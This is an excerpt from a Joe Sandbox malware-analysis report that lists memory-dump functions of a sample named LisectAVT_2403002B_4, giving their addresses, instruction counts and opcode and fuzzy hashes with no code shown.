Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6716f6f1e55e81b49e8a32ca66c17b1d383fc36032395fb306470cceca1e3619
Instruction ID: c33deadfcba2137d92fd997ae870d26eeef62fe62efaa48aba3df916d1848696
Opcode Fuzzy Hash: 6716f6f1e55e81b49e8a32ca66c17b1d383fc36032395fb306470cceca1e3619
Instruction Fuzzy Hash: 0241E934B5460ACBCB48EBB0E4AC97E7773FBC43447608955D816973A8DE389C4ADB81

Function 00C9FD9C Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93d2ac35ce1f239e386bb104cc9e0c9feff877d33a59d1ccd0f1ef3301b094dc
Instruction ID: f693a456db15a0a34105c573247fabafacbb70d735b55abbae4cf0eeeffd84bf
Opcode Fuzzy Hash: 93d2ac35ce1f239e386bb104cc9e0c9feff877d33a59d1ccd0f1ef3301b094dc
Instruction Fuzzy Hash: C5414B31A001148FDF10DB78D588AAEBBF2AF88710F258079D909EB366DB70DD42CB91

Function 00C97F3B Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aa40a03e4f692c0a2d36518cf1229d225817f1e320f3776c49bcf5f89103b20
Instruction ID: a8f2c9870cfa2d788c4843748c88caadd1915f7d103d40b481813521fbf4c513
Opcode Fuzzy Hash: 4aa40a03e4f692c0a2d36518cf1229d225817f1e320f3776c49bcf5f89103b20
Instruction Fuzzy Hash: D941E934B5060ACBCB48EBB0E4AC97E7773FBC43447608955D816973A8DE399C0ADB81

Function 00C995E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20dfcafa1940ab444d7b28cb48f3fcc5b5d4fd74aae08907b595a64b7f017928
Instruction ID: f48028e1b3e4070093862b2d74f57c1243a871a92ce6fec321f4f68cbc9c6ef4
Opcode Fuzzy Hash: 20dfcafa1940ab444d7b28cb48f3fcc5b5d4fd74aae08907b595a64b7f017928
Instruction Fuzzy Hash: 7831E071E00716DFCF10DFA5C84459EFBB2FF88300F20866AD415AB249EB70A986CB81

Function 00C97F58 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ae19adf7407f371d34f5a66ba1493de5233eb4d0b334c47fe0d998e070bb2d4
Instruction ID: d75429b1de8b9510277928a0e2d045e61449fcb33a5e03100225bc25d35b00d5
Opcode Fuzzy Hash: 8ae19adf7407f371d34f5a66ba1493de5233eb4d0b334c47fe0d998e070bb2d4
Instruction Fuzzy Hash: BC41EA34B5061ACBCB48EBB0E4AC97E7773FBC43447208954D816973A8DE399C0ADB81

Function 00C994D5 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96b993aed1ae09fd7eeb96447825009255e8a155f4b630aa8266bd7c650eeceb
Instruction ID: 835c1275f5dd545cc04ecebaea4c1d321a74b730a79a0d8d7962308358ccd86d
Opcode Fuzzy Hash: 96b993aed1ae09fd7eeb96447825009255e8a155f4b630aa8266bd7c650eeceb
Instruction Fuzzy Hash: 4F21AB31B001018FCF19EBB8A8949BF73A7EBC8214B20456AD509C7395EF71DD029B92

Function 00C995E8 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed0d055632b457a8a165fcd15da9e3e5a391f76a7ace1dc03ca020d16abb62f4
Instruction ID: 312df601c6a2a3606c8cddabcfd9cacca4a2493dd6eeaf669bfbeb8088cc9786
Opcode Fuzzy Hash: ed0d055632b457a8a165fcd15da9e3e5a391f76a7ace1dc03ca020d16abb62f4
Instruction Fuzzy Hash: 9C316F71E1071ADBCF24DFE9C44459EBBB2FF88304F208669D415AB244EB75A986CBC1

Function 00C9E69D Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 738ce425d9c52937ef6c2844e9c5c51cbaf7ffbf839bf94b7a0c5647771f88a4
Instruction ID: 9b41c76eab17429f17332f80ecb7955e83b29989249ba9b63281b1e61bbd6ad0
Opcode Fuzzy Hash: 738ce425d9c52937ef6c2844e9c5c51cbaf7ffbf839bf94b7a0c5647771f88a4
Instruction Fuzzy Hash: 22312A38B015059FCB84EB68D5A896E73B3BBD87147208168D80A97399DF34DD06DF82

Function 00C93BBC Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e7e7df0f9fa9cff157aec2e0580ac5b9dee39a836ef16f09e21a2aa9f933801
Instruction ID: 382c821041f7f411b3858b5e209cbaa61cae6866dc61397ccad066d4abdd1a76
Opcode Fuzzy Hash: 1e7e7df0f9fa9cff157aec2e0580ac5b9dee39a836ef16f09e21a2aa9f933801
Instruction Fuzzy Hash: 544101B4D00349DFDF10CFA9C584ADEBFB1BF48310F208429E41AAB250DB75AA46CB91

Function 00C93BC0 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe60d42f5b7d1ee34d29ee14a93b0620de573f1669b25cdbbba98510a905bfa0
Instruction ID: 3093fac7e85d2ee922b0162707c4faec9fb7c917c040d7fa3fc75371c60dd605
Opcode Fuzzy Hash: fe60d42f5b7d1ee34d29ee14a93b0620de573f1669b25cdbbba98510a905bfa0
Instruction Fuzzy Hash: 0441EFB0D007499FDB10DFA9C584ADEBFF5FF48314F208429E81AAB250DB75AA45CB91

Function 00C97F75 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5646cfc1a3bce8a8275877b3351fe5a7d89cec7b5aa399eeafd5992480548672
Instruction ID: 6531ec93eafa36c32fc468fe957cf347914919c31c9be088261edb6d9ded11f6
Opcode Fuzzy Hash: 5646cfc1a3bce8a8275877b3351fe5a7d89cec7b5aa399eeafd5992480548672
Instruction Fuzzy Hash: 0831DA34B5061ACBCB48EBB0E4AC57E7773FBC43447608964D816973A8DE399C4ADB81

Function 00C9F120 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd1b4728fb89e24ce413731e04e43d4740e095722fdc23398165138172b0f926
Instruction ID: acc94b6ac1f72ab1e6ea82df589d8373f0542db0b2a702f931f618ef14f48d73
Opcode Fuzzy Hash: bd1b4728fb89e24ce413731e04e43d4740e095722fdc23398165138172b0f926
Instruction Fuzzy Hash: BE316F70F002059FCF04EBB4D999AAEBBF2FB88710F144529E50AE7345DB349D429B94

Function 00C97F9C Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3647f3f030783cc7423af9b2e197ec094a763f1faa4fdc7e919bed7885cd49d6
Instruction ID: d3c2bd971c869a4d4f03ae9f8ce9aeb70ad7fe1406fcaa212c6487557001aaa0
Opcode Fuzzy Hash: 3647f3f030783cc7423af9b2e197ec094a763f1faa4fdc7e919bed7885cd49d6
Instruction Fuzzy Hash: 6031B934B5061BCBCB48EBB0E46C96EB773FBC43447608D559816973A8DE399C0ADB81

Function 00C9B128 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7740c546600248e420c78d5eb99619d57b580113c5cf5b07f2336f648fa6830e
Instruction ID: eb6486e9be5bdc6cd731cb80020921eab643cf6a292e65ae83cb341927348f72
Opcode Fuzzy Hash: 7740c546600248e420c78d5eb99619d57b580113c5cf5b07f2336f648fa6830e
Instruction Fuzzy Hash: 8B312D75F002169BCF059FA5E9AC6AEBBF2FB88311B104069E806E7340DB349D41CB54

Function 00C909C8 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6009515e5240a0de9384ef50c332def811b196bafc578686fe6b68baf77aaa66
Instruction ID: 4707ee2683c6109596050aa66f3fbce773333a7a2e88f3e56e24a8d11c1b778b
Opcode Fuzzy Hash: 6009515e5240a0de9384ef50c332def811b196bafc578686fe6b68baf77aaa66
Instruction Fuzzy Hash: 11212834A103438FDF58AB75E85C63E3BA6AB14345B205469D81BC3291EE70DA41EBA2

Function 00C9C4F0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9413cf365954eccac382fbeec9fab4794329f40c72d08d2702b06913bd0e6609
Instruction ID: 4bbb8487b467f97cf677303294469cadfdd40f7c559cab192798c7c660cfea1f
Opcode Fuzzy Hash: 9413cf365954eccac382fbeec9fab4794329f40c72d08d2702b06913bd0e6609
Instruction Fuzzy Hash: AB21D6719043978FDB01DF74D8A45DDBFB0FF56300F06869AD450AB252EB706949CB91

Function 00C909C1 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de49a08f6b526b57fcba0c16133f6a6e7f0f7f763d9f8fdbb2256dd3e616a5c3
Instruction ID: 14056c457c7b63f67f9cbe4735366c40f046f6639990e2a97ce08991f4101c7e
Opcode Fuzzy Hash: de49a08f6b526b57fcba0c16133f6a6e7f0f7f763d9f8fdbb2256dd3e616a5c3
Instruction Fuzzy Hash: A5212730B00342DFDF58AB75D85C73A3BA6AB54345B249469D827C31A1EE74CA41EBA2

Function 00C98118 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cde3d4ce9b7e4f3f5e2db2b6d9af3b0f0cb6c9e2130a9c9e67bfb1c441755970
Instruction ID: e67524a4259910d76fa9450a411701e708bc66094710f52f2be3c788e64f0106
Opcode Fuzzy Hash: cde3d4ce9b7e4f3f5e2db2b6d9af3b0f0cb6c9e2130a9c9e67bfb1c441755970
Instruction Fuzzy Hash: 04311834E0020ADFCB45EFB4C5545AEBBB3EF89704F2085A9C419A7354DB359A42CF92

Function 00C98114 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86e931c4e138730bb96c18c254aed95290b0dc16af5713823afd9a337b43ba25
Instruction ID: d8f2e78211239e445eb991805eb34f9d7833f8f02c438a4c939b93e09f2e5aa5
Opcode Fuzzy Hash: 86e931c4e138730bb96c18c254aed95290b0dc16af5713823afd9a337b43ba25
Instruction Fuzzy Hash: C3311634E0020ADFCB55EFB4C5545AEBBB3EF89704F2085A9C419AB354DB359A42CF92

Function 00C9B540 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42a4cc0741c510f5210077a59706356f1466382fb0fd3cd6e33f58cf3091f7d5
Instruction ID: a10255ed17ce68837140b12f15aa9161942376f864a7220434aeeaaec38bb834
Opcode Fuzzy Hash: 42a4cc0741c510f5210077a59706356f1466382fb0fd3cd6e33f58cf3091f7d5
Instruction Fuzzy Hash: 4F212C71F00216AFCF059FA5E5AC6ADBBF2FF88311B144069E906E7341DB389D418B90

Function 00BED4A0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4477646455.0000000000BED000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bed000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b75cdb09150fb047ca55219ea5a263b66d3ef06f61139b2b3fa7afc3866a2c5b
Instruction ID: 287f1b3a63e4ee9ab51c0b4ff7c82855b864c229a7579665c0308154bca3e73b
Opcode Fuzzy Hash: b75cdb09150fb047ca55219ea5a263b66d3ef06f61139b2b3fa7afc3866a2c5b
Instruction Fuzzy Hash: 3A2128B1504280DFDB05DF54D9C0B26BFE5FBA4318F34C5A9D90A0B256C376D816CBA1

Function 00C9B6B8 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd8d7ee3c1a926ff63203f3ef47b8d38f2a92952ffb596b4d812f2f51a0c28b6
Instruction ID: edfe9d862fb61f02e5da9f3219e0a5568a5fe08cf710aa3d6f55288a2e4e7577
Opcode Fuzzy Hash: cd8d7ee3c1a926ff63203f3ef47b8d38f2a92952ffb596b4d812f2f51a0c28b6
Instruction Fuzzy Hash: F2213171F002169FCF05DFA9E9A96ADBBF2FB88310B148169E905E7341DB749D418BA0

Function 00C91AD1 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c46d3960b4f7a1b95f67365423e0bf8dbb82276d71e3261863eb59571407bd2e
Instruction ID: 52ae6a53922559833a87a5b2865a94d16708b9898b92d1d291f3f4dd7ba58507
Opcode Fuzzy Hash: c46d3960b4f7a1b95f67365423e0bf8dbb82276d71e3261863eb59571407bd2e
Instruction Fuzzy Hash: F41178B1B002165FCB48EFBD485837E7AEAEFC9700B11456ED15AD3785DE388D1147A1

Function 00C98950 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b3d7900ede31dc0af279ad4ca8eba0ed4d2b5fe3c18fe80ab49f7d6c35c3103
Instruction ID: d3e58e59c4e7393f2fc875bc438f5d5441dde1a23ddffc05ef0e5187e5468c56
Opcode Fuzzy Hash: 0b3d7900ede31dc0af279ad4ca8eba0ed4d2b5fe3c18fe80ab49f7d6c35c3103
Instruction Fuzzy Hash: 38216B32E041188FCB15DF69C9485EDFBF5FB89310B1A41A6D819B7202DB31AD058BA2

Function 00C91AD8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9222cbdf8194deca9e2de400cecae0694971151ebb802e4ebea7720f0fb82870
Instruction ID: d376ce201a1edda1a2b0ed46d9faff49b442a39af2fe9f502b9266f187a7c1b2
Opcode Fuzzy Hash: 9222cbdf8194deca9e2de400cecae0694971151ebb802e4ebea7720f0fb82870
Instruction Fuzzy Hash: AD1187B1B002165FCB44EFBD485936EB9EAEFC8B10B11446DD51AD3341DE388D1147A1

Function 00C9F598 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3694e3b9761f74446acdbe54d55e286fba5c0aa8db80c904b6b39459a4a40471
Instruction ID: 4cea9fbc94c2a1600cf89881510a945297e33dd9f7cf221f220749f648cadfc7
Opcode Fuzzy Hash: 3694e3b9761f74446acdbe54d55e286fba5c0aa8db80c904b6b39459a4a40471
Instruction Fuzzy Hash: EB214975E0061A8BCF10DF99D8859EEF7B5FB88314F10816AD928E7241DB34EE428B91

Function 00C92DCC Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2551c3b4851c8368dc030fe30f4763b81de1c7c0d649f5e957691a28681b2aa
Instruction ID: 8b106787e61a9d4eb21090cc8a2c0c30e416c8c060c8f49ae13317f1f47c4922
Opcode Fuzzy Hash: c2551c3b4851c8368dc030fe30f4763b81de1c7c0d649f5e957691a28681b2aa
Instruction Fuzzy Hash: 59213C7490010ACFCB44EFA4D854AAEBBB3FF88700F2085A5D1456B364EB745A15DF91

Function 00C92DD0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c97ad6e6ae0addd719bd97516a49e09981722058b6f9cf76d414e4ba5a17978a
Instruction ID: ffa50e7f7fcce09a6f1270578e976a5c85091a931d0e33c62d2ee3699279dfa2
Opcode Fuzzy Hash: c97ad6e6ae0addd719bd97516a49e09981722058b6f9cf76d414e4ba5a17978a
Instruction Fuzzy Hash: 86211C7490010ACFCB44EFA4D854AAEBBB3FF88700F2085A5D1456B364EB749A559F91

Function 00C9F074 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b371ff42fd5a2e909d9f5a5534fbc9cb899103e7eced66e8c16f8ff11c1a66c
Instruction ID: 63a4b0e985f76e33f9e626ffd58c286035c21161fb14bfb881fb35826b553c96
Opcode Fuzzy Hash: 3b371ff42fd5a2e909d9f5a5534fbc9cb899103e7eced66e8c16f8ff11c1a66c
Instruction Fuzzy Hash: 5911E932B001159BDF50EBADA9541EEBBFAEB88354B20417AC90CD3246E731DD1387D2

Function 00C97FE5 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f51b24a0ff8dfc1ea0992be4bab57e464ee49d6973d6fd291e9f78b82f67cca
Instruction ID: 7cd7afd671f463643e25fc9ddcda1df3fee717f6a9ed5f3d8e764553db5b27aa
Opcode Fuzzy Hash: 8f51b24a0ff8dfc1ea0992be4bab57e464ee49d6973d6fd291e9f78b82f67cca
Instruction Fuzzy Hash: 6E21B734B5061BCBCB48EBB0E46C56EB773FBC43447608D55981697398DE399C0ADB81

Function 00C9E2B8 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cc6b77012d8a6f77d205f0a18ca0053c262da4443cb7b739d7d9c3e744aab32
Instruction ID: 756b370209965aceb55cdfc61677f3ee511a65c60530e352196758610a410deb
Opcode Fuzzy Hash: 6cc6b77012d8a6f77d205f0a18ca0053c262da4443cb7b739d7d9c3e744aab32
Instruction Fuzzy Hash: 36217271F002169FCF10DF69E9A96AEBBF6FB88310B148169E805E7351DB759D01CB90

Function 00C9C548 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c5c42bb8526ed0ffe1196fa3236aa8df86a3ab1f56fa0fbf0668d7a822c5acf
Instruction ID: eb7aa54d2fe616efa1dc65e2d6a215d4549f48ff3357b71e1fd31c6c2eee0ad8
Opcode Fuzzy Hash: 7c5c42bb8526ed0ffe1196fa3236aa8df86a3ab1f56fa0fbf0668d7a822c5acf
Instruction Fuzzy Hash: E8113071E1075A9BDB04CFA5D8545DEFBB6FF99300F15862AE401BB240EBB0B985CB90

Function 00C9C544 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52997abf635bb9962b590626167d225b3351e4bc2aaf0c66daca6d2694a8c8be
Instruction ID: 1a5f559ebd13f50142095159b51d732a84c70ec3abd9aba2c108514dc09e5cb7
Opcode Fuzzy Hash: 52997abf635bb9962b590626167d225b3351e4bc2aaf0c66daca6d2694a8c8be
Instruction Fuzzy Hash: AB115E71E1075A9BCB04CFA5D85459EFBB2FF99300F11862AE401BB240EBB0A985CB90

Function 00C9F269 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f78e24cbf9c86b77f1447d202dc2685d289c85cfe69e129791f6dafd6b06c42
Instruction ID: 710f5717c3433a8b78a03fce55c61194a17384466050b6d08564949281425b5c
Opcode Fuzzy Hash: 8f78e24cbf9c86b77f1447d202dc2685d289c85cfe69e129791f6dafd6b06c42
Instruction Fuzzy Hash: 0A11A036B005159FDF50DBB9A8542EEBBA6EB88224B24417AC908D3245E731CD1387D2

Function 00C93170 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab0bfe55ae8a3e76dcc1b9f88b0c48d085b80196f2882ea9654fed2954c1bd3b
Instruction ID: a322364c9ea4f10e3c9b1c8b14d301c19f220d6b37069eea7a4a1429ef1527e7
Opcode Fuzzy Hash: ab0bfe55ae8a3e76dcc1b9f88b0c48d085b80196f2882ea9654fed2954c1bd3b
Instruction Fuzzy Hash: D2215C30601695CFDF25EB64C91DBAE77B2AF89304F200478D402AB7A1DB358E41DBA5

Function 00C9B7C0 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cc5558434018f80c810e5d772db0ff85a5b0f4e13cc5111c147cfb2ba643280
Instruction ID: 72d9a63d9857b42ba27efe8de92af2851720c622c4802533c17c55cbda4ee0e9
Opcode Fuzzy Hash: 9cc5558434018f80c810e5d772db0ff85a5b0f4e13cc5111c147cfb2ba643280
Instruction Fuzzy Hash: E0118F71F00216AFCF00DF68E9686AEBBFAEB89714B104169E906D3341DB759D01CB94

Function 00C96878 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4478044081.0000000000C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_LisectAVT_2403002B_4.jbxd

Similarity

API ID:
String ID:
API String ID:
